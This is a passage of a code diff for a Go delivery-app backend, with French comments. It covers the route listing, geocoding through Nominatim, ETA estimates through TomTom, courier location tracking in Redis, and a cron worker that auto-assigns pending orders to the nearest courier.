PUT /api/v1/livreur/deliveries/:id/status ✅ Changer statut (AVEC GPS)
|
||||
|
||||
📌 POSITION GPS (AUTH LIVREUR) 🔒
|
||||
POST /api/v1/livreur/location/update ✅ Mettre à jour ma position
|
||||
GET /api/v1/livreur/location ✅ Voir ma position actuelle
|
||||
|
||||
📌 STATUT (AUTH LIVREUR) 🔒
|
||||
POST /api/v1/livreur/status ✅ Changer mon statut
|
||||
GET /api/v1/livreur/status ✅ Voir mon statut
|
||||
|
||||
📌 QUEUE (AUTH LIVREUR) 🔒
|
||||
GET /api/v1/livreur/queue ✅ Voir ma queue de livraisons
|
||||
*/
|
||||
|
||||
// ============================================
|
||||
// 🔧 CORRECTIONS APPLIQUÉES
|
||||
// ============================================
|
||||
|
||||
/*
|
||||
✅ 1. Route ETA ajoutée: GET /api/v1/commands/:id/eta
|
||||
✅ 2. Route tracking détaillée: GET /api/v1/commands/:id/tracking
|
||||
✅ 3. Route status temps réel: GET /api/v1/commands/:id/status
|
||||
✅ 4. Panier clear sans :username (utilise JWT)
|
||||
✅ 5. GeoService injecté dans le contexte global
|
||||
✅ 6. Routes livreur pour GPS et statut
|
||||
✅ 7. Routes admin pour gestion manuelle livreurs
|
||||
⭐⭐ 8. Routes modification profil CLIENT par le client: PUT /api/v1/profile/update
|
||||
⭐⭐ 9. Routes modification profil CLIENT par admin: PUT /api/v2/admin/protected/clients/:id
|
||||
⭐⭐ 10. Routes modification profil USER par admin: PUT /api/v2/admin/protected/users/:id
|
||||
⭐⭐ 11. Route position GPS livreur par admin: GET /api/v2/admin/protected/delivery-persons/:username/location
|
||||
*/
|
||||
@@ -0,0 +1,537 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"io"
|
||||
"math"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/redis/go-redis/v9"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// CONSTANTES
|
||||
// ============================================
|
||||
|
||||
const (
|
||||
NominatimBaseURL = "https://nominatim.openstreetmap.org/search"
|
||||
EarthRadiusKm = 6371.0
|
||||
DefaultSpeed = 30.0 // km/h en ville
|
||||
PreparationTime = 5.0 // minutes
|
||||
TrafficMarginPerKm = 2.0 // minutes par km
|
||||
MinETA = 3 // ⚡ RÉDUIT: minimum 3 minutes (était 10)
|
||||
MaxETA = 120 // minutes
|
||||
GeocacheTTL = 7 * 24 * time.Hour
|
||||
LocationTTL = 1 * time.Hour
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// STRUCTURES
|
||||
// ============================================
|
||||
|
||||
type GeoLocation struct {
|
||||
Latitude float64 `json:"lat,string"`
|
||||
Longitude float64 `json:"lon,string"`
|
||||
DisplayName string `json:"display_name"`
|
||||
}
|
||||
|
||||
type Coordinates struct {
|
||||
Latitude float64 `json:"latitude"`
|
||||
Longitude float64 `json:"longitude"`
|
||||
}
|
||||
|
||||
type DeliveryDistance struct {
|
||||
Username string `json:"username"`
|
||||
Location Coordinates `json:"location"`
|
||||
Distance float64 `json:"distance_km"`
|
||||
EstimatedTime int `json:"eta_minutes"`
|
||||
}
|
||||
|
||||
type GeoService struct {
|
||||
redis *redis.Client
|
||||
ctx context.Context
|
||||
httpClient *http.Client
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// CONSTRUCTEUR
|
||||
// ============================================
|
||||
|
||||
func NewGeoService(redisClient *redis.Client, ctx context.Context) *GeoService {
|
||||
return &GeoService{
|
||||
redis: redisClient,
|
||||
ctx: ctx,
|
||||
httpClient: &http.Client{
|
||||
Timeout: 10 * time.Second,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// GÉOCODAGE - API NOMINATIM
|
||||
// ============================================
|
||||
|
||||
// GeocodeAddress convertit une adresse en coordonnées GPS
|
||||
func (gs *GeoService) GeocodeAddress(address string) (*GeoLocation, error) {
|
||||
// 1. Vérifier le cache Redis
|
||||
location, err := gs.getFromCache(address)
|
||||
if err == nil {
|
||||
return location, nil
|
||||
}
|
||||
|
||||
// 2. Appeler l'API Nominatim
|
||||
location, err = gs.fetchFromNominatim(address)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 3. Sauvegarder en cache
|
||||
gs.saveToCache(address, location)
|
||||
|
||||
return location, nil
|
||||
}
|
||||
|
||||
// getFromCache récupère depuis le cache Redis
|
||||
func (gs *GeoService) getFromCache(address string) (*GeoLocation, error) {
|
||||
key := gs.getCacheKey(address)
|
||||
data, err := gs.redis.Get(gs.ctx, key).Result()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var location GeoLocation
|
||||
err = json.Unmarshal([]byte(data), &location)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &location, nil
|
||||
}
|
||||
|
||||
// saveToCache sauvegarde dans le cache Redis
|
||||
func (gs *GeoService) saveToCache(address string, location *GeoLocation) error {
|
||||
key := gs.getCacheKey(address)
|
||||
data, err := json.Marshal(location)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return gs.redis.Set(gs.ctx, key, data, GeocacheTTL).Err()
|
||||
}
|
||||
|
||||
// fetchFromNominatim récupère les coordonnées depuis l'API
|
||||
func (gs *GeoService) fetchFromNominatim(address string) (*GeoLocation, error) {
|
||||
// Vérifier que l'adresse n'est pas vide
|
||||
address = strings.TrimSpace(address)
|
||||
if address == "" {
|
||||
return nil, fmt.Errorf("adresse vide, impossible de géocoder")
|
||||
}
|
||||
|
||||
// Préparer les paramètres URL
|
||||
params := url.Values{}
|
||||
params.Set("q", address) // adresse
|
||||
params.Set("format", "json") // format supporté par Nominatim
|
||||
params.Set("limit", "1") // une seule réponse
|
||||
|
||||
fullURL := fmt.Sprintf("%s?%s", NominatimBaseURL, params.Encode())
|
||||
fmt.Println("URL Nominatim:", fullURL) // debug
|
||||
|
||||
var lastErr error
|
||||
for i := 0; i < 3; i++ { // retry jusqu'à 3 fois
|
||||
req, err := http.NewRequest("GET", fullURL, nil)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur création requête: %w", err)
|
||||
}
|
||||
req.Header.Set("User-Agent", "DeliveryApp/1.0")
|
||||
|
||||
resp, err := gs.httpClient.Do(req)
|
||||
if err != nil {
|
||||
lastErr = err
|
||||
time.Sleep(time.Second * time.Duration(i+1)) // délai croissant
|
||||
continue
|
||||
}
|
||||
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
lastErr = fmt.Errorf("API error: status %d", resp.StatusCode)
|
||||
time.Sleep(time.Second * time.Duration(i+1))
|
||||
continue
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
lastErr = err
|
||||
time.Sleep(time.Second * time.Duration(i+1))
|
||||
continue
|
||||
}
|
||||
|
||||
var locations []GeoLocation
|
||||
err = json.Unmarshal(body, &locations)
|
||||
if err != nil {
|
||||
lastErr = err
|
||||
time.Sleep(time.Second * time.Duration(i+1))
|
||||
continue
|
||||
}
|
||||
|
||||
if len(locations) == 0 {
|
||||
lastErr = fmt.Errorf("adresse introuvable: %s", address)
|
||||
time.Sleep(time.Second * time.Duration(i+1))
|
||||
continue
|
||||
}
|
||||
|
||||
return &locations[0], nil // succès
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("échec après 3 tentatives: %w", lastErr)
|
||||
}
|
||||
|
||||
// getCacheKey génère une clé de cache
|
||||
func (gs *GeoService) getCacheKey(address string) string {
|
||||
return fmt.Sprintf("geocode:cache:%s", address)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// CALCULS GÉOGRAPHIQUES
|
||||
// ============================================
|
||||
|
||||
// CalculateDistance calcule la distance entre deux points (formule Haversine)
|
||||
func CalculateDistance(from, to Coordinates) float64 {
|
||||
// Conversion en radians
|
||||
lat1Rad := toRadians(from.Latitude)
|
||||
lon1Rad := toRadians(from.Longitude)
|
||||
lat2Rad := toRadians(to.Latitude)
|
||||
lon2Rad := toRadians(to.Longitude)
|
||||
|
||||
// Différences
|
||||
dLat := lat2Rad - lat1Rad
|
||||
dLon := lon2Rad - lon1Rad
|
||||
|
||||
// Formule Haversine
|
||||
a := math.Sin(dLat/2)*math.Sin(dLat/2) +
|
||||
math.Cos(lat1Rad)*math.Cos(lat2Rad)*
|
||||
math.Sin(dLon/2)*math.Sin(dLon/2)
|
||||
|
||||
c := 2 * math.Atan2(math.Sqrt(a), math.Sqrt(1-a))
|
||||
|
||||
return EarthRadiusKm * c
|
||||
}
|
||||
|
||||
// CalculateETA calcule le temps estimé d'arrivée en minutes (version locale/fallback)
|
||||
func CalculateETA(distanceKm float64) int {
|
||||
// ⚡ AMÉLIORATION: Formule plus réaliste basée sur la distance
|
||||
if distanceKm < 0.1 {
|
||||
return MinETA // Très proche: minimum 3 minutes
|
||||
}
|
||||
|
||||
// Temps de trajet basé sur vitesse moyenne en ville (25 km/h avec trafic)
|
||||
// Plus réaliste que 30 km/h
|
||||
travelTime := (distanceKm / 25.0) * 60.0
|
||||
|
||||
// Ajouter une marge pour le trafic (environ 20%)
|
||||
totalMinutes := int(travelTime * 1.2)
|
||||
|
||||
// Appliquer les limites
|
||||
if totalMinutes < MinETA {
|
||||
return MinETA
|
||||
}
|
||||
if totalMinutes > MaxETA {
|
||||
return MaxETA
|
||||
}
|
||||
|
||||
return totalMinutes
|
||||
}
|
||||
|
||||
// CalculateETAWithTomTom calcule l'ETA via TomTom API (précis avec trafic réel)
|
||||
// Retourne (etaMinutes, distanceKm, error)
|
||||
func CalculateETAWithTomTom(from, to Coordinates) (int, float64, error) {
|
||||
apiKey := os.Getenv("TOMTOM_API_KEY")
|
||||
if apiKey == "" {
|
||||
// Fallback sur calcul local si pas de clé API
|
||||
distance := CalculateDistance(from, to)
|
||||
return CalculateETA(distance), distance, nil
|
||||
}
|
||||
|
||||
// API TomTom Routing: Calculate Route avec trafic
|
||||
apiURL := fmt.Sprintf(
|
||||
"https://api.tomtom.com/routing/1/calculateRoute/%f,%f:%f,%f/json?key=%s&traffic=true&travelMode=car",
|
||||
from.Latitude, from.Longitude, to.Latitude, to.Longitude, apiKey,
|
||||
)
|
||||
|
||||
client := &http.Client{Timeout: 8 * time.Second}
|
||||
resp, err := client.Get(apiURL)
|
||||
if err != nil {
|
||||
// Fallback sur calcul local en cas d'erreur réseau
|
||||
distance := CalculateDistance(from, to)
|
||||
eta := CalculateETA(distance)
|
||||
fmt.Printf("⚠️ TomTom timeout, fallback: %.2f km -> %d min\n", distance, eta)
|
||||
return eta, distance, nil
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
// Fallback sur calcul local en cas d'erreur API
|
||||
distance := CalculateDistance(from, to)
|
||||
eta := CalculateETA(distance)
|
||||
fmt.Printf("⚠️ TomTom API error %d, fallback: %.2f km -> %d min\n", resp.StatusCode, distance, eta)
|
||||
return eta, distance, nil
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
distance := CalculateDistance(from, to)
|
||||
return CalculateETA(distance), distance, nil
|
||||
}
|
||||
|
||||
var routeResponse models.RouteResponse
|
||||
if err := json.Unmarshal(body, &routeResponse); err != nil {
|
||||
distance := CalculateDistance(from, to)
|
||||
return CalculateETA(distance), distance, nil
|
||||
}
|
||||
|
||||
if len(routeResponse.Routes) == 0 {
|
||||
distance := CalculateDistance(from, to)
|
||||
return CalculateETA(distance), distance, nil
|
||||
}
|
||||
|
||||
summary := routeResponse.Routes[0].Summary
|
||||
|
||||
// Calculer ETA en minutes (arrondi supérieur)
|
||||
etaMinutes := (summary.TravelTimeInSeconds + 59) / 60
|
||||
distanceKm := float64(summary.LengthInMeters) / 1000.0
|
||||
|
||||
// Appliquer minimum
|
||||
if etaMinutes < MinETA {
|
||||
etaMinutes = MinETA
|
||||
}
|
||||
|
||||
fmt.Printf("🛣️ TomTom: %.2f km -> %d min (trafic réel)\n", distanceKm, etaMinutes)
|
||||
|
||||
return etaMinutes, distanceKm, nil
|
||||
}
|
||||
|
||||
// toRadians convertit des degrés en radians
|
||||
func toRadians(degrees float64) float64 {
|
||||
return degrees * math.Pi / 180.0
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// VALIDATION
|
||||
// ============================================
|
||||
|
||||
// ValidateCoordinates valide des coordonnées GPS
|
||||
func ValidateCoordinates(coords Coordinates) error {
|
||||
if coords.Latitude < -90 || coords.Latitude > 90 {
|
||||
return fmt.Errorf("latitude invalide: %.6f (doit être entre -90 et 90)", coords.Latitude)
|
||||
}
|
||||
if coords.Longitude < -180 || coords.Longitude > 180 {
|
||||
return fmt.Errorf("longitude invalide: %.6f (doit être entre -180 et 180)", coords.Longitude)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// IsValidAddress vérifie si une adresse peut être géocodée
|
||||
func (gs *GeoService) IsValidAddress(address string) bool {
|
||||
_, err := gs.GeocodeAddress(address)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// GESTION DES POSITIONS DES LIVREURS
|
||||
// ============================================
|
||||
|
||||
// SaveDeliveryPersonLocation sauvegarde la position d'un livreur
|
||||
func (gs *GeoService) SaveDeliveryPersonLocation(username string, coords Coordinates) error {
|
||||
if err := ValidateCoordinates(coords); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
key := gs.getLocationKey(username)
|
||||
location := map[string]interface{}{
|
||||
"latitude": coords.Latitude,
|
||||
"longitude": coords.Longitude,
|
||||
"last_update": time.Now().Unix(),
|
||||
}
|
||||
|
||||
data, err := json.Marshal(location)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return gs.redis.Set(gs.ctx, key, data, LocationTTL).Err()
|
||||
}
|
||||
|
||||
// GetDeliveryPersonLocation récupère la position d'un livreur
|
||||
func (gs *GeoService) GetDeliveryPersonLocation(username string) (*Coordinates, error) {
|
||||
key := gs.getLocationKey(username)
|
||||
data, err := gs.redis.Get(gs.ctx, key).Result()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("position non trouvée: %w", err)
|
||||
}
|
||||
|
||||
var location map[string]interface{}
|
||||
err = json.Unmarshal([]byte(data), &location)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
coords := &Coordinates{
|
||||
Latitude: location["latitude"].(float64),
|
||||
Longitude: location["longitude"].(float64),
|
||||
}
|
||||
|
||||
return coords, nil
|
||||
}
|
||||
|
||||
// getLocationKey génère une clé pour la position
|
||||
func (gs *GeoService) getLocationKey(username string) string {
|
||||
return fmt.Sprintf("delivery:location:%s", username)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// RECHERCHE DE LIVREURS
|
||||
// ============================================
|
||||
|
||||
// FindNearestDeliveryPerson trouve le livreur le plus proche
|
||||
func (gs *GeoService) FindNearestDeliveryPerson(target Coordinates, availableUsernames []string) (*DeliveryDistance, error) {
|
||||
if len(availableUsernames) == 0 {
|
||||
return nil, fmt.Errorf("aucun livreur disponible")
|
||||
}
|
||||
|
||||
var nearest *DeliveryDistance
|
||||
minDistance := math.MaxFloat64
|
||||
|
||||
for _, username := range availableUsernames {
|
||||
location, err := gs.GetDeliveryPersonLocation(username)
|
||||
if err != nil {
|
||||
continue // Ignorer les livreurs sans position GPS
|
||||
}
|
||||
|
||||
distance := CalculateDistance(*location, target)
|
||||
if distance < minDistance {
|
||||
minDistance = distance
|
||||
|
||||
// ⚡ AMÉLIORATION: Utiliser TomTom pour l'ETA si disponible
|
||||
eta, _, _ := CalculateETAWithTomTom(*location, target)
|
||||
|
||||
nearest = &DeliveryDistance{
|
||||
Username: username,
|
||||
Location: *location,
|
||||
Distance: distance,
|
||||
EstimatedTime: eta,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if nearest == nil {
|
||||
return nil, fmt.Errorf("aucun livreur avec position GPS valide")
|
||||
}
|
||||
|
||||
return nearest, nil
|
||||
}
|
||||
|
||||
// FindNearestDeliveryPersonFast trouve le livreur le plus proche (sans TomTom, plus rapide)
|
||||
func (gs *GeoService) FindNearestDeliveryPersonFast(target Coordinates, availableUsernames []string) (*DeliveryDistance, error) {
|
||||
if len(availableUsernames) == 0 {
|
||||
return nil, fmt.Errorf("aucun livreur disponible")
|
||||
}
|
||||
|
||||
var nearest *DeliveryDistance
|
||||
minDistance := math.MaxFloat64
|
||||
|
||||
for _, username := range availableUsernames {
|
||||
location, err := gs.GetDeliveryPersonLocation(username)
|
||||
if err != nil {
|
||||
continue // Ignorer les livreurs sans position GPS
|
||||
}
|
||||
|
||||
distance := CalculateDistance(*location, target)
|
||||
if distance < minDistance {
|
||||
minDistance = distance
|
||||
nearest = &DeliveryDistance{
|
||||
Username: username,
|
||||
Location: *location,
|
||||
Distance: distance,
|
||||
EstimatedTime: CalculateETA(distance), // Calcul local rapide
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if nearest == nil {
|
||||
return nil, fmt.Errorf("aucun livreur avec position GPS valide")
|
||||
}
|
||||
|
||||
return nearest, nil
|
||||
}
|
||||
|
||||
// GetAllDeliveryDistances retourne tous les livreurs triés par distance
|
||||
func (gs *GeoService) GetAllDeliveryDistances(target Coordinates, availableUsernames []string) ([]DeliveryDistance, error) {
|
||||
if len(availableUsernames) == 0 {
|
||||
return nil, fmt.Errorf("aucun livreur disponible")
|
||||
}
|
||||
|
||||
var distances []DeliveryDistance
|
||||
|
||||
for _, username := range availableUsernames {
|
||||
location, err := gs.GetDeliveryPersonLocation(username)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
distance := CalculateDistance(*location, target)
|
||||
distances = append(distances, DeliveryDistance{
|
||||
Username: username,
|
||||
Location: *location,
|
||||
Distance: distance,
|
||||
EstimatedTime: CalculateETA(distance),
|
||||
})
|
||||
}
|
||||
|
||||
// Tri par distance (bubble sort)
|
||||
for i := 0; i < len(distances)-1; i++ {
|
||||
for j := 0; j < len(distances)-i-1; j++ {
|
||||
if distances[j].Distance > distances[j+1].Distance {
|
||||
distances[j], distances[j+1] = distances[j+1], distances[j]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return distances, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// HEATMAP ET VISUALISATION
|
||||
// ============================================
|
||||
|
||||
// GetDeliveryHeatmap retourne toutes les positions des livreurs
|
||||
func (gs *GeoService) GetDeliveryHeatmap() ([]map[string]interface{}, error) {
|
||||
keys, err := gs.redis.Keys(gs.ctx, "delivery:location:*").Result()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var heatmap []map[string]interface{}
|
||||
|
||||
for _, key := range keys {
|
||||
data, err := gs.redis.Get(gs.ctx, key).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var location map[string]interface{}
|
||||
json.Unmarshal([]byte(data), &location)
|
||||
|
||||
username := key[len("delivery:location:"):]
|
||||
location["username"] = username
|
||||
|
||||
heatmap = append(heatmap, location)
|
||||
}
|
||||
|
||||
return heatmap, nil
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
// ============================================
|
||||
// services/tomtom.go - SERVICE TOMTOM ROUTING
|
||||
// ============================================
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
// GetETAWithTraffic calcule l'ETA avec le trafic réel via TomTom
|
||||
func GetETAWithTraffic(from, to Coordinates) (etaMinutes int, distanceKm float64, err error) {
|
||||
apiKey := os.Getenv("TOMTOM_API_KEY")
|
||||
if apiKey == "" {
|
||||
return 0, 0, fmt.Errorf("TOMTOM_API_KEY non configurée")
|
||||
}
|
||||
|
||||
// API TomTom Routing: Calculate Route avec trafic
|
||||
url := fmt.Sprintf(
|
||||
"https://api.tomtom.com/routing/1/calculateRoute/%f,%f:%f,%f/json?key=%s&traffic=true&travelMode=car",
|
||||
from.Latitude, from.Longitude, to.Latitude, to.Longitude, apiKey,
|
||||
)
|
||||
|
||||
client := &http.Client{Timeout: 10 * time.Second}
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return 0, 0, fmt.Errorf("erreur requête TomTom: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return 0, 0, fmt.Errorf("erreur API TomTom %d: %s", resp.StatusCode, string(body))
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return 0, 0, fmt.Errorf("erreur lecture: %w", err)
|
||||
}
|
||||
|
||||
var routeResponse models.RouteResponse
|
||||
if err := json.Unmarshal(body, &routeResponse); err != nil {
|
||||
return 0, 0, fmt.Errorf("erreur parsing: %w", err)
|
||||
}
|
||||
|
||||
if len(routeResponse.Routes) == 0 {
|
||||
return 0, 0, fmt.Errorf("aucun itinéraire trouvé")
|
||||
}
|
||||
|
||||
summary := routeResponse.Routes[0].Summary
|
||||
|
||||
// Calculer ETA en minutes (arrondi supérieur)
|
||||
etaMinutes = (summary.TravelTimeInSeconds + 59) / 60
|
||||
distanceKm = float64(summary.LengthInMeters) / 1000.0
|
||||
|
||||
log.Printf("🛣️ TomTom Routing: %.2f km → %d min (trafic inclus)", distanceKm, etaMinutes)
|
||||
|
||||
return etaMinutes, distanceKm, nil
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"gestion/models"
|
||||
"math/rand"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// --------------------------------------------
|
||||
// MEDIA
|
||||
// --------------------------------------------
|
||||
|
||||
func GetMediaForProduct(productID int) ([]models.Media, error) {
|
||||
return db.DB.GetMediaByProductID(productID)
|
||||
}
|
||||
|
||||
// --------------------------------------------
|
||||
// FILES NAMES
|
||||
// --------------------------------------------
|
||||
|
||||
func GenerateUniqueFileName(productName string, originalFileName string) string {
|
||||
randomString := fmt.Sprintf("%d", rand.Intn(1000000))
|
||||
ext := filepath.Ext(originalFileName)
|
||||
return fmt.Sprintf("%s_%s%s", productName, randomString, ext)
|
||||
}
|
||||
|
||||
func DeleteOldFile(filePath string) error {
|
||||
return os.Remove(filePath)
|
||||
}
|
||||
@@ -0,0 +1,189 @@
|
||||
package workers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"gestion/services"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
// StartAutoAssignmentCron démarre le cron job d'auto-assignation
|
||||
// Tourne toutes les 1 minute pour assigner les commandes pending
|
||||
func StartAutoAssignmentCron(database *db.Database, geoService *services.GeoService) {
|
||||
ticker := time.NewTicker(1 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
|
||||
log.Println("⏰ [CRON] Auto-Assignment Worker démarré (1 min) avec système de priorisation")
|
||||
|
||||
// Exécution immédiate au démarrage
|
||||
go processAutoAssignmentWithPriority(database, geoService)
|
||||
|
||||
for range ticker.C {
|
||||
go processAutoAssignmentWithPriority(database, geoService)
|
||||
}
|
||||
}
|
||||
|
||||
// processAutoAssignmentWithPriority traite les commandes pending par ordre de priorité
|
||||
func processAutoAssignmentWithPriority(database *db.Database, geoService *services.GeoService) {
|
||||
log.Println("🔄 [CRON] === Début du cycle d'auto-assignation ===")
|
||||
|
||||
// 1. Récupérer les stats
|
||||
stats, err := database.GetPendingCommandsStats()
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [CRON] Erreur récupération stats: %v", err)
|
||||
} else {
|
||||
log.Printf("📊 [CRON] Stats: %d commandes pending, attente moyenne: %d min",
|
||||
stats["total_pending"], stats["avg_waiting_minutes"])
|
||||
}
|
||||
|
||||
// 2. Récupérer toutes les commandes pending triées par ancienneté
|
||||
commands, err := database.GetAllCommandsOldestFirst("pending", "")
|
||||
if err != nil {
|
||||
log.Printf("❌ [CRON] Erreur récupération commandes: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if len(commands) == 0 {
|
||||
log.Println("✅ [CRON] Aucune commande en attente")
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📋 [CRON] %d commande(s) pending à traiter (ordre: PLUS ANCIENNES → plus récentes)", len(commands))
|
||||
|
||||
// 3. Traiter les commandes dans l'ordre de priorité
|
||||
assignedCount := 0
|
||||
failedCount := 0
|
||||
skippedCount := 0
|
||||
|
||||
for i, cmd := range commands {
|
||||
commandID, ok := cmd["id"].(int)
|
||||
if !ok {
|
||||
if idFloat, ok := cmd["id"].(float64); ok {
|
||||
commandID = int(idFloat)
|
||||
} else {
|
||||
skippedCount++
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
// Log la position dans la queue de priorité
|
||||
createdAt, _ := cmd["created_at"].(time.Time)
|
||||
waitingTime := time.Since(createdAt)
|
||||
priority := i + 1 // Position dans la queue (1 = plus prioritaire)
|
||||
|
||||
log.Printf("🎯 [CRON] [PRIORITÉ #%d/%d] Commande ID:%d | Créée: %s | Attente: %d min",
|
||||
priority, len(commands),
|
||||
commandID,
|
||||
createdAt.Format("2006-01-02 15:04:05"),
|
||||
int(waitingTime.Minutes()))
|
||||
|
||||
// Récupérer l'adresse
|
||||
address, ok := cmd["adresse"].(string)
|
||||
if !ok || address == "" || address == "Adresse non spécifiée" {
|
||||
log.Printf("⚠️ [CRON] Commande %d - Adresse invalide, SKIP", commandID)
|
||||
failedCount++
|
||||
continue
|
||||
}
|
||||
|
||||
// Tenter l'assignation
|
||||
success := tryAssignCommandWithPriority(database, geoService, commandID, address, priority, int(waitingTime.Minutes()))
|
||||
if success {
|
||||
assignedCount++
|
||||
} else {
|
||||
failedCount++
|
||||
}
|
||||
|
||||
// Petite pause entre les assignations
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
}
|
||||
|
||||
log.Printf("✅ [CRON] === Cycle terminé: %d assignées, %d échouées, %d skipped ===",
|
||||
assignedCount, failedCount, skippedCount)
|
||||
}
|
||||
|
||||
// tryAssignCommandWithPriority tente d'assigner une commande avec info de priorité
|
||||
func tryAssignCommandWithPriority(
|
||||
database *db.Database,
|
||||
geoService *services.GeoService,
|
||||
commandID int,
|
||||
address string,
|
||||
priority int,
|
||||
waitingMinutes int,
|
||||
) bool {
|
||||
log.Printf("🎯 [CRON] Traitement commande %d (priorité #%d, attente: %d min)",
|
||||
commandID, priority, waitingMinutes)
|
||||
|
||||
// 1. Géocoder l'adresse
|
||||
location, err := geoService.GeocodeAddress(address)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CRON] Cmd %d - Géocodage échoué: %v", commandID, err)
|
||||
return false
|
||||
}
|
||||
|
||||
targetCoords := services.Coordinates{
|
||||
Latitude: location.Latitude,
|
||||
Longitude: location.Longitude,
|
||||
}
|
||||
|
||||
// 2. Récupérer livreurs actifs
|
||||
activeLivreurs, err := database.GetAllActiveDeliveryPersons()
|
||||
if err != nil || len(activeLivreurs) == 0 {
|
||||
log.Printf("⚠️ [CRON] Cmd %d - Aucun livreur disponible", commandID)
|
||||
return false
|
||||
}
|
||||
|
||||
usernames := make([]string, len(activeLivreurs))
|
||||
for i, livreur := range activeLivreurs {
|
||||
usernames[i] = livreur.Username
|
||||
}
|
||||
|
||||
// 3. Trouver le plus proche
|
||||
nearest, err := geoService.FindNearestDeliveryPersonFast(targetCoords, usernames)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CRON] Cmd %d - Aucun livreur avec GPS", commandID)
|
||||
return false
|
||||
}
|
||||
|
||||
// 4. Calculer ETA
|
||||
travelTime := nearest.EstimatedTime
|
||||
distance := nearest.Distance
|
||||
|
||||
// Utiliser TomTom pour les commandes urgentes (> 30 min d'attente)
|
||||
if waitingMinutes > 30 {
|
||||
etaTraffic, distTraffic, err := services.GetETAWithTraffic(nearest.Location, targetCoords)
|
||||
if err == nil {
|
||||
travelTime = etaTraffic
|
||||
distance = distTraffic
|
||||
log.Printf("🚨 [CRON] Cmd %d - Commande urgente, ETA précis calculé", commandID)
|
||||
}
|
||||
}
|
||||
|
||||
// 5. Assigner à la queue
|
||||
err = database.AssignCommandToDeliverymanQueueWithCoords(
|
||||
commandID,
|
||||
nearest.Username,
|
||||
travelTime,
|
||||
location.Latitude,
|
||||
location.Longitude,
|
||||
address,
|
||||
)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CRON] Cmd %d - Assignation échouée: %v", commandID, err)
|
||||
return false
|
||||
}
|
||||
|
||||
// 6. Mettre à jour statut livreur
|
||||
database.SetDeliveryPersonStatus(nearest.Username, "busy", commandID)
|
||||
|
||||
// 7. Log avec info de priorité
|
||||
logMessage := fmt.Sprintf("Auto-assigné (CRON) à %s (%.2f km, ~%d min) | Priorité: #%d | Attente: %d min",
|
||||
nearest.Username, distance, travelTime, priority, waitingMinutes)
|
||||
|
||||
database.AddCommandLog(commandID, "assigned", logMessage, "system-cron")
|
||||
|
||||
log.Printf("✅ [CRON] Cmd %d → %s (%.2f km) | Priorité #%d | Attente: %d min",
|
||||
commandID, nearest.Username, distance, priority, waitingMinutes)
|
||||
|
||||
return true
|
||||
}
|
||||
@@ -0,0 +1,315 @@
|
||||
// ============================================
|
||||
// workers/redis_worker.go - TÂCHES ARRIÈRE-PLAN
|
||||
// ============================================
|
||||
|
||||
package workers
|
||||
|
||||
import (
|
||||
"encoding/json"
